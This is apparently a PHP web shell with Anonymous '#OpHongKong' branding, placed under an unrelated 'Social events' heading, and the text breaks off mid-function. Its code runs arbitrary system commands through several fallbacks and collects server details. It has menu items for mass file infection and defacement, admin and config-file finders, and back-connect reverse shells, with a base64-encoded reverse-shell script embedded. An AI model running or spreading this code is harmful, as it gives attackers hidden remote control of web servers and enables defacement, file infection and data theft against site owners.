Social events
@ini_set("memory_limit", "9999M");
@ini_set("max_execution_time", "0");
@ini_set("upload_max_filesize", "9999m");
@ini_set("magic_quotes_gpc", "0");
@set_magic_quotes_runtime(0);
@set_time_limit(0);
error_reporting(0);
//Style Variables
$fontcolor = "FF0000";
$fontsize = "12px";
$fontfamily = "courier";
$fontweight = "normal";
$tablebordercolor = "#000000";
$tablebgcolor = "#000000";
$tablehovercolor = "#141414";
$textareabgcolor = "#000000";
$textareafontcolor = "#FF0000";
$textareabordercolor = "#FF0000";
$inputbgcolor = "#000000";
$inputfontcolor = "#FF0000";
$inputbordercolor = "#FF0000";
$linkcolor = "#FFFFFF";
$activelinkcolor = "#FF0000";
$hoverlinkcolor = "#FF0000";
$visitedlinkcolor = "#FFFFFF";
$contentpadding = "10px";
$containerbordercolor = "#FF0000";
//Other Variables
$version = "#OpHongKong";
$yourip = $_SERVER['REMOTE_ADDR'];
$whoami = function_exists("posix_getpwuid") ? posix_getpwuid(posix_geteuid()) : exe_cmd("whoami");
$whoami = function_exists("posix_getpwuid") ? $whoami['name'] : exe_cmd("whoami");
$uname = php_uname();
$serversoftware = $_SERVER['SERVER_SOFTWARE'];
$gatewayinterface = $_SERVER['GATEWAY_INTERFACE'];
$servername = $_SERVER['SERVER_NAME'];
$serverip = $_SERVER['SERVER_ADDR'];
$safemode = ini_get('safe_mode') ? "Enabled" : "Disabled";
$openbasedir = ini_get('open_basedir') ? "Enabled" : "Disabled";
$disabledfunc = ini_get('disable_functions');
$phpversion = phpversion();
$domain = $_SERVER['HTTP_HOST'];
$rootdir = CleanDir($_SERVER['DOCUMENT_ROOT']);
$syscoms = array('system', 'shell_exec', 'proc_open', 'passthru', 'exec');
$compression = array('zip', 'tar', 'tar.gz', 'tgz', 'gz', 'rar');
$bcpl = "IyEvdXNyL2Jpbi9wZXJsIC13DQojIHBlcmwtcmV2ZXJzZS1zaGVsbCAtIEEgUmV2ZXJzZSBTaGVsbCBpbXBsZW1lbnRhdGlvbiBpbiBQRVJMDQojI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UlQpKQ0KCQkJd2hpbGUgbm90IHNvY2tlZF9kaWVkOg0KCQkJCXNvY2tlZF9kaWVkPXdhaXRfZm9yX2NvbW1hbmQocykNCgkJCXMuY2xvc2UoKQ0KCQlleGNlcHQgc29ja2V0LmVycm9yOg0KCQkJcGFzcw0KCQl0aW1lLnNsZWVwKDUpDQoNCmlmIF9fbmFtZV9fID09ICJfX21haW5fXyI6DQoJc3lzLmV4aXQobWFpbigpKQ==";
//Tab Options Layout
$currentfile = basename(__FILE__);
$tabs = array(
"System"=> array(
"CPU" => "./".$currentfile."?cpu",
"Users" => "./".$currentfile."?users",
"Memory" => "./".$currentfile."?memory",
"Processes" => "./".$currentfile."?processes"
),
"Mass Editor" => array(
"Infect Files" => "./".$currentfile."?fileInfect",
"Deface Files" => "./".$currentfile."?fileDeface"
),
"Back Connect" => array(
"PHP" => "./".$currentfile."?bcPHP",
"Perl" => "./".$currentfile."?bcPerl",
"Python" => "./".$currentfile."?bcPython"
),
"Shell" => array(
"Kill" => "./".$currentfile."?kill",
"Credits" => "./".$currentfile."?credits",
"Check Links" => "./".$currentfile."?checkLinks"
),
"Extras" => array(
"Reverse IP" => "./".$currentfile."?reverseIP",
"Hash Generator" => "./".$currentfile."?hashGenerator"
),
"Search" => array(
"Admin Finder" => "./".$currentfile."?adminFinder",
"Config Finder" => "./".$currentfile."?configFinder",
"Search Files/Dir" => "./".$currentfile."?search"
)
);
$links = array(
"BOOTSTRAPCSS" => array(
"LINK" => "http://dl.dropboxusercontent.com/s/mzs89eukbo0apxz/bootstrap_navbar.css",
"MD5" => "5ed756c76e52bcf521040ff09a01f3f3",
"DESC" => "Bootstrap Nav Bar CSS"
),
"BOOTSTRAPJS" => array(
"LINK" => "http://dl.dropboxusercontent.com/s/ogxuaa6ccn0itgd/bootstrap-dropdown.js",
"MD5" => "be4478613ae8c0bb1b799e6b340519e4",
"DESC" => "Bootstrap Dropdown JS"
),
"BACKGROUND" => array(
"LINK" => "https://pbs.twimg.com/profile_images/1773564270/anonymous-logo-1.jpg",
"MD5" => "bb87b9287906b2cde47fd18680e4f00d",
"DESC" => "Background Image"
)
);
if(!@$_GET['dir']) {
$dir = CleanDir(getcwd());
} else {
$dir = CleanDir($_GET['dir']);
}
function CleanDir($directory) {
$directory = str_replace("\\", "/", $directory);
$directory = str_replace("//", "/", $directory);
return $directory;
}
function ByteConversion($bytes, $precision = 2) {
$kilobyte = 1024;
$megabyte = $kilobyte * 1024;
$gigabyte = $megabyte * 1024;
$terabyte = $gigabyte * 1024;
if (($bytes >= 0) && ($bytes < $kilobyte)) {
return $bytes . ' B';
} elseif (($bytes >= $kilobyte) && ($bytes < $megabyte)) {
return round($bytes / $kilobyte, $precision) . ' KB';
} elseif (($bytes >= $megabyte) && ($bytes < $gigabyte)) {
return round($bytes / $megabyte, $precision) . ' MB';
} elseif (($bytes >= $gigabyte) && ($bytes < $terabyte)) {
return round($bytes / $gigabyte, $precision) . ' GB';
} elseif ($bytes >= $terabyte) {
return round($bytes / $terabyte, $precision) . ' TB';
} else {
return $bytes . ' B';
}
}
function success($message) {
echo "
$message
";
}
function error($message) {
echo "
$message
";
}
function redirect($url) {
echo "";
}
function mass_files($mass_dir, $justdirs) {
if($dh = opendir($mass_dir)) {
$files = array();
$inner_files = array();
while($file = readdir($dh)) {
if($file != "." && $file != ".." && $file[0] != '.') {
if(is_dir($mass_dir . "/" . $file)) {
$inner_files = mass_files("$mass_dir/$file", $justdirs);
if(is_array($inner_files)) $files = array_merge($files, $inner_files);
if($justdirs) { array_push($files, "$mass_dir/$file"); }
} else {
if(!$justdirs) { array_push($files, "$mass_dir/$file"); }
}
}
}
closedir($dh);
return $files;
}
}
function can_exe() {
global $disabledfunc;
global $syscoms;
$disabledfunc = explode(",", str_replace(' ', '', $disabledfunc));
if(count(array_intersect($syscoms, $disabledfunc)) == count($syscoms)) {
return false;
} else {
return true;
}
}
function exe_cmd($command) {
global $dir;
chdir($dir);
if(function_exists('proc_open')) {
$execute = proc_open($command, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
$result = "";
while (!feof($io[1])) {
$result .= htmlspecialchars(fgets($io[1]), ENT_COMPAT, 'UTF-8');
}
while (!feof($io[2])) {
$result .= htmlspecialchars(fgets($io[2]), ENT_COMPAT, 'UTF-8');
}
fclose($io[1]);
fclose($io[2]);
proc_close($execute);
return $result;
} elseif(function_exists('system')) {
$result = system($command);
return $result;
} elseif(function_exists('exec')) {
$result = exec($command);
return $result;
} elseif(functions_exists('shell_exec')) {
$result = shell_exec($command);
return $result;
} elseif(function_exists('passthru')) {
$result = passthru($command);
return $result;
}
}
function salt_gen($length) {
$characters = array("a","A","b","B","c","C","d","D","e","E","f","F","g","G","h","H","i","I","j","J","k","K","l","L","m","M","n","N","o","O","p","P","q","Q","r","R","s","S","t","T","u","U","v","V","w","W","x","X","y","Y","z","Z","1","2","3","4","5","6","7","8","9");
$i = 0;
$salt = "";
while($i < $length) {
$arrand = array_rand($characters, 1);
$salt .= $characters[$arrand];
$i++;
}
return $salt;
}
function extract_file($filepath, $extractpath, $type) {
if($type == 'zip') {
if(class_exists('ZipArchive')) {
$newzip = new ZipArchive;
$open = $newzip->open($filepath);
if($open == true) {
$newzip->extractTo($extractpath);
$newzip->close();
redirect("?dir=$extractpath");
} else {
error('Failed to open zip archive!');
}
} else {
if(can_exe()) {
error('ZipArchive class does not exist!
Trying to extract via sys commands');
echo "
The response from 'unzip $filepath -d $extractpath' was: